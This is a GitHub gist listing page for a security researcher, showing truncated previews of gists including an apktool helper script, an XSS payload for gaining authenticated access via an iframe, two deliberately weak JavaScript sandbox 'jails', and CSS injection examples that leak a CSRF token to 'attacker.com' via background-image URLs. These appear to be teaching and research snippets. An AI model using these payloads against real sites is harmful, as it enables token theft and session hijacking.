Skip to content

Instantly share code, notes, and snippets.

View d0nutptr's full-sized avatar
🍩
https://twitter.com/d0nutptr

d0nut d0nutptr

🍩
https://twitter.com/d0nutptr
683 followers · 111 following
View GitHub Profile
@d0nutptr
d0nutptr / helloworld.rs
Created March 3, 2018 07:30
fn main() {
println!("Hello, world!");
}
@d0nutptr
d0nutptr / apktool_name_corrector.sh
Created April 14, 2018 23:13
This renames all of the files with a .smali extension to a more logical filename based on the .source entry in the smali file
#!/bin/bash
# Renames files outputed by `apktool d <apk>` to <source>.smali where <source> is the value in the .source entry of the smali file
# This isn't meant to be 100% correct but it works in 99% of cases
# ./apktool_name_corrector.sh ~/Documents/my_smali_output_folder
shopt -s globstar
start_dir=$1
for e in "${start_dir}"/**; do
if [ -f "${e}" ] ; then
@d0nutptr
d0nutptr / payload.js
Created May 21, 2018 08:33
Simple trick to go from unauthenticated XSS to authenticated if user logs in on another tab/browser with the same cookie jar.
frame = document.createElement("iframe");
function test_auth() {
console.log("Checking auth state...");
title = frame.contentDocument.getElementsByTagName("h1")[0].children[0].innerText;
var is_auth = title != "Login";
if(is_auth) {
name = title.split(" ")[2];
clearInterval(auth_checker);
@d0nutptr
d0nutptr / intentionally_shitty_jail.js
Created May 31, 2018 15:20
function jail(code) {
// quick string escape for inner strings
code = code.replace(/["'`\\]/g, function(v){ return `\\${v}`});
var jail_script = "new Function(";
// Blacklist all global scope values
for(prop in window) {
jail_script += `"${prop}", `;
@d0nutptr
d0nutptr / slightly_better_jail_but_still_shitty.js
Created May 31, 2018 15:21
function jail(code) {
// quick string escape for inner strings
code = code.replace(/["'`\\]/g, function(v){ return `\\${v}`});
var jail_script = "new Function(";
// Blacklist all global scope values
for(prop in window) {
jail_script += `"${prop}", `;
}
@d0nutptr
d0nutptr / example_css_injection_1.css
Created July 25, 2018 07:04
input[name=csrf][value^=a]{
background-image: url(https://attacker.com/exfil/a);
}
input[name=csrf][value^=b]{
background-image: url(https://attacker.com/exfil/b);
}
/* ... */
input[name=csrf][value^=9]{
background-image: url(https://attacker.com/exfil/9);
}
@d0nutptr
d0nutptr / example_css_injection_2.css
Last active July 25, 2018 07:12
input[name=csrf][value^=ca]{
background-image: url(https://attacker.com/exfil/ca);
}
input[name=csrf][value^=cb]{
background-image: url(https://attacker.com/exfil/cb);
}
/* ... */
input[name=csrf][value^=c9]{
background-image: url(https://attacker.com/exfil/c9);
}
@d0nutptr
d0nutptr / example_css_sibling_selector.css
Created July 25, 2018 07:17
p[color=red] ~ p {
color: red;
}
@d0nutptr
d0nutptr / example_html_sibling_selectors.html`
Created July 25, 2018 07:19
<html>
<body>
<div>
<p color=red>Hello there!</p>
<p>This is also red!</p>
<p>Me too!</p>
</div>
<div>
<p>This is not red :o </p>
</div>
@d0nutptr
d0nutptr / example_css_injection_3.css
Created July 25, 2018 07:24
input[name=csrf][value^=csrF] ~ * {
background-image: url(https://attacker.com/exfil/csrF);
}